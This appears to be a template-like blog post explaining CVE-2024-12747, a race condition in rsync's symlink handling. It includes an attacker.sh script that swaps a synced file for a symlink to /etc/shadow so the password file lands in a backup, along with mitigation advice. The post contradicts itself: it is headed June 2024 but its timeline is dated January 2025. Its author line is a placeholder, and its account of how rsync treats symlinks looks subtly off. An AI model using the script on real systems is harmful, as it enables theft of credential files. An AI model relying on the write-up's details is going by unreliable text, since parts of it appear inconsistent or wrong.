CVE-2024-12747 - Exploiting a Race Condition in rsync Symbolic Link Handling

Published: June 2024
Author: [Your Name or Blog]

Rsync is one of the most popular tools for copying and syncing files, both locally and across networks. But recently, security researchers uncovered a critical vulnerability identified as CVE-2024-12747. This flaw can be exploited by attackers to leak sensitive data or even escalate their privileges on affected systems.

In this long read post, I'll explain what CVE-2024-12747 is, how the rsync race condition works, the exploitation steps, code snippets, and how to protect your systems. I’ll also give links for further reading.

What is CVE-2024-12747?

This flaw is a race condition affecting how rsync handles symbolic links (symlinks). By timing file and link changes just right, an attacker can trick rsync into following symlinks it would normally skip—potentially leaking protected files or escalating privileges.

Official CVE Entry:
https://nvd.nist.gov/vuln/detail/CVE-2024-12747
Original Bug:
https://github.com/WayneD/rsync/issues/409

Normally, rsync skips symbolic links and only copies real files by default.

- If an attacker can quickly replace a file with a symbolic link _after_ rsync has checked the file but _before_ reading it, the tool may read or expose data it should not.
- If rsync runs with higher privileges, this can be used to read sensitive files (like /etc/shadow, ~/.ssh/id_rsa, etc).

Here’s where things go wrong

Time        | Attacker Action                  | rsync Action
T1          | File is a regular file           | Check file type (regular)
T2          | Replace with symlink to target   |
T3          |                                 | Open file (actually opens symlink!)

Key Exploit: Between T1 and T3, the attacker switches the regular file for a symlink. Rsync already thinks it’s safe, so it doesn’t check again, and ends up blindly opening (and potentially copying) a forbidden file pointed to by the symlink!

Exploit Example

Here’s a simplified script to demonstrate the race condition on a vulnerable rsync (DO NOT RUN THIS ON PRODUCTION!)

Suppose you have a directory /tmp/rsynctest with a file data.txt

mkdir /tmp/rsynctest
echo "harmless" > /tmp/rsynctest/data.txt

And you want to sync this directory as a normal user, but with a hypothetical attacker present.

Exploit Script

The attacker monitors for when rsync is about to read data.txt and swaps it for a symlink to a sensitive file (like /etc/shadow). This can be tried by running both rsync and the exploit simultaneously.

attacker.sh

#!/bin/bash
WATCH_FILE="/tmp/rsynctest/data.txt"
SYMLINK_TARGET="/etc/shadow"

while true; do
    # Replace the file with a symlink very quickly
    rm -f "$WATCH_FILE"
    ln -s "$SYMLINK_TARGET" "$WATCH_FILE"
    # Restore the original quickly to avoid detection
    sleep .001
    echo "harmless" > "$WATCH_FILE"
    sleep .001
done

victim.sh

#!/bin/bash
# The user (or script) is running:
rsync -av /tmp/rsynctest/ /tmp/backup/

If the attacker gets the timing right, /tmp/backup/data.txt will contain the contents of /etc/shadow instead of "harmless".

Realistic Exploit Scenario

With some scripting finesse (using inotifywait or similar tools), an attacker can narrow the timing and improve reliability. The exploit works if the attacker can modify files in the source directory at the same time as rsync is running.

Mitigation & Fixes

The rsync maintainers have addressed this flaw in recent versions. Update your rsync package as soon as possible!

Fixed Versions:
Check WayneD/rsync#409 for patch details.

_Redhat Security Notice:_
https://access.redhat.com/security/cve/CVE-2024-12747

Final Thoughts

CVE-2024-12747 is a classic example of how tricky race conditions can be, and why time-of-check vs time-of-use (TOCTOU) bugs are dangerous in file operations. If you maintain servers, update rsync without delay and review how you use file sync tools.

Timeline

Published on: 01/14/2025 18:15:25 UTC
Last modified on: 03/15/2025 00:15:23 UTC